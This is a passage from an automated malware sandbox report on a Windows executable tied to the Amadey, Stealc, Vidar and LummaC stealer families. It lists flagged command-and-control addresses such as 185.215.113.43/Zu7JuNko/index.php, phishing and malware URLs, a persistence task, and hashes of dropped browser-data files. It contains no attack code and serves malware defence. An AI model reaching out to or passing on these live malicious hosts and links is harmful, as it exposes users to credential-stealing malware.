http://185.215.113.43/Zu7JuNko/index.php-	skotes.exe, 00000026.00000002.3455388933.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/J	file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/	000003.log.14.dr, 000003.log4.14.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2851700005.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376861564348068.14.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.245.60.72	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.55.235.251	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.209.72.36	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.57.90.169	unknown	United States	35994	AKAMAI-ASUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.155.1.8	unknown	United States	16509	AMAZON-02US	false
23.57.90.141	unknown	United States	35994	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
20.189.173.24	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561565
Start date and time:	2024-11-23 19:51:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/294@24/25
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 172.217.21.35, 172.217.17.46, 74.125.205.84, 34.104.35.123, 172.217.19.10, 172.217.17.42, 142.250.181.42, 172.217.19.202, 172.217.21.42, 172.217.17.74, 142.250.181.74, 172.217.19.234, 142.250.181.138, 172.217.19.170, 142.250.181.10, 142.250.181.106, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 13.107.6.158, 172.165.69.228, 2.20.68.198, 2.20.68.234, 2.16.158.81, 2.16.158.90, 2.16.158.171, 2.16.158.184, 2.16.158.74, 2.16.158.83, 2.16.158.169, 2.16.158.80, 2.16.158.82, 13.87.96.169, 95.101.143.176, 95.101.143.240, 95.101.143.104, 95.101.143.155, 95.101.143.121, 95.101.143.163, 95.101.143.107, 95.101.143.153, 95.101.143.138, 2.16.158.179, 2.16.158.34, 2.16.158.97, 2.16.158.187, 2.16.158.27, 2.16.158.192, 2.16.158.186, 2.16.11.154, 2.16.11.136, 13.74.129.1, 13.107.21.237, 204.79.197.237, 84.201.211.23, 2.16.158.96, 2.16.158.176, 2.16.158.170, 2.16.158.91, 20.234.120.54, 172.217.165.131, 142.250.65.163
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, wu-b-net.trafficmanager.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ris-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dsc
Execution Graph export aborted for target DocumentsFHJDBKJKFI.exe, PID 7216 because it is empty
Execution Graph export aborted for target skotes.exe, PID 4372 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 9020 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:52:43	API Interceptor	376x Sleep call for process: file.exe modified
13:54:01	API Interceptor	145x Sleep call for process: skotes.exe modified
19:53:13	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
18.245.60.72	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://www.canva.com/design/DAGOCNo1NUI/fm7sxEzJIeZ3v2miLpNZCw/view?utm_content=DAGOCNo1NUI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	ap4pkLeaVp.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	vs_BuildTools.zip	Get hash	malicious	Unknown	Browse	199.232.210.172
	XYrLOQoLE4.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://r20.rs6.net/tn.jsp?t=ujqgb8abb.0.0.zumspjcab.0&id=preview&r=3&p=http%3A%2F%2Ffiles.constantcontact.com%2F99239f29001%2F765a22db-b453-4315-a344-dc2294500069.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	SecuriteInfo.com.Win64.Malware-gen.31578.13203.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://ig-leaks.github.io/insta_chat/instagram/	Get hash	malicious	Unknown	Browse	199.232.210.172
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.46
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	https://3a88da1a86b3b964.ngrok.app/Factura.php	Get hash	malicious	Unknown	Browse	172.217.165.142
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	http://saighbuzu32uvv.top/1.php?s=527	Get hash	malicious	Unknown	Browse	142.250.181.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.78
chrome.cloudflare-dns.com	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	18.245.60.72
	https://elizgallery.com/nazvanie.js	Get hash	malicious	Unknown	Browse	13.250.84.149
	sora.arm.elf	Get hash	malicious	Mirai	Browse	18.243.215.239
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	99.79.220.130
	sora.x86.elf	Get hash	malicious	Mirai	Browse	34.221.248.6
	sora.mips.elf	Get hash	malicious	Mirai	Browse	13.51.123.184
	sora.spc.elf	Get hash	malicious	Mirai	Browse	18.182.10.192
	wheiuwa4.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	yakuza.sh.elf	Get hash	malicious	Mirai	Browse	46.51.154.213
	yakuza.arm6.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	sora.arm.elf	Get hash	malicious	Mirai	Browse	104.214.22.71
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	104.147.102.52
	sora.x86.elf	Get hash	malicious	Mirai	Browse	20.74.225.207
	sora.mips.elf	Get hash	malicious	Mirai	Browse	13.105.41.140
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	sora.arm.elf	Get hash	malicious	Mirai	Browse	104.214.22.71
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	104.147.102.52
	sora.x86.elf	Get hash	malicious	Mirai	Browse	20.74.225.207
	sora.mips.elf	Get hash	malicious	Mirai	Browse	13.105.41.140

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	https://myqrcode.mobi/qr/3c3aa5e1/view	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 2.18.109.164 40.126.53.17
6271f898ce5be7dd52b0fc260d0662b3	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	https://www.cinehub.click/anus	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	https://novelalert.cloudaccess.host/wp-admin/includes/contactamende/	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	https://insights.zohorecruit.com/ck1/2d6f.390d3f0/70932e40-a754-11ef-acd6-525400d4bb1c/c4b396bcef628ee60a3903dd64a571f46a43eb4a/2?e=AP6yJbny%2BojaTRJMo4YN29y4982EEh70QglqvV8aiCoCwftyNixblJXLnLCBIbU9pdrCb4rbSvPbWtRnPycgQw%3D%3D	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	file.exe	Get hash	malicious	LummaC	Browse	150.171.27.10 20.199.58.43 20.31.169.57
	http://amz-account-unlock-dashboard4.duckdns.org	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43 20.31.169.57
3b5074b1b5d032e5620f69f9f700ff0e	psol.txt.ps1	Get hash	malicious	LummaC	Browse	20.198.119.143 20.198.118.190
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	20.198.119.143 20.198.118.190
	Setup.exe	Get hash	malicious	LummaC	Browse	20.198.119.143 20.198.118.190
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143 20.198.118.190
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143 20.198.118.190
	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Get hash	malicious	XWorm	Browse	20.198.119.143 20.198.118.190
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.143 20.198.118.190
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143 20.198.118.190
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.143 20.198.118.190
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143 20.198.118.190

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJDGDGDHDGDBFIDHDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAEHDBAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676251620904537
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumB:Kq+n0JZ91LyKOMq+8iP5GLP/0s
MD5:	F7BD2F52ECA063C9C49F74336188795D
SHA1:	A919606BF8C5232978F712156CA28B6E98AC0112
SHA-256:	F8A932FC2BFCA556CDEBCD1894FC64484237E32BA11ADC3AB976C3CE14DD6FC2
SHA-512:	D64DE567E9F3BFDDF30401D603FD4761FBB127E287245D1A9238D14C6D04EF72B8E8D3789F1A0A7B896763745A5917E2BECA3D2DE3822CF172F0335EFA6670DA
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAKJKJJJECFIEBFHIEGHJDAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHCBAAEHCFIDGDHJEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FIIEGDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCFBAFBFHJEBGCAEGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJDGIJECFIEBFIDHCGHDHIEBAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
